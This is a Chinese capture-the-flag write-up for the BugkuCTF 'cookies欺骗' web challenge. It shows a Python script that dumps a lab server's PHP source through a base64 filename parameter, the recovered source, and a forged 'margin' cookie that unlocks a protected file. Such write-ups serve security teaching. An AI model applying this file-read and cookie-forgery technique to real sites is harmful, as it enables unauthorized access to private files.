BugkuCTF-Web20-cookies欺骗

    打开题目环境,发现一堆乱码

    1. rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry

    但是发现网址

    1. http://114.67.246.176:16451/index.php?line=&filename=a2V5cy50eHQ=

    后面存在base64编码a2V5cy50eHQ=,解码发现为“keys.txt”,替换为index.php的base64编码”aW5kZXgucGhw”进行测试,发现中line变量起到控制行数的作用,编写python脚本,获取全部index.php源码。

    1. # -*- coding: utf-8 -*-
    2. import requests
    3. s=requests.Session()
    4. url='http://114.67.246.176:16451/index.php'
    5. for i in range(1,20):
    6. payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    7. a=s.get(url,params=payload).content
    8. content=str(a,encoding="utf-8")
    9. print(content)

    获取源码如下:

    1. error_reporting(0);
    2. $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    3. $line=isset($_GET['line'])?intval($_GET['line']):0;
    4. if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    5. $file_list = array(
    6. '0' =>'keys.txt',
    7. '1' =>'index.php',
    8. );
    9. if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    10. $file_list[2]='keys.php';
    11. }
    12. if(in_array($file, $file_list)){
    13. $fa = file($file);
    14. echo $fa[$line];
    15. }
    16. ?>

    分析PHP源代码,结合题目描述,我们需要上传一个cookies,令margin=margin。使用burp抓包修改cookie,获得flag。

    BugkuCTF-Web20-cookies欺骗 - 图1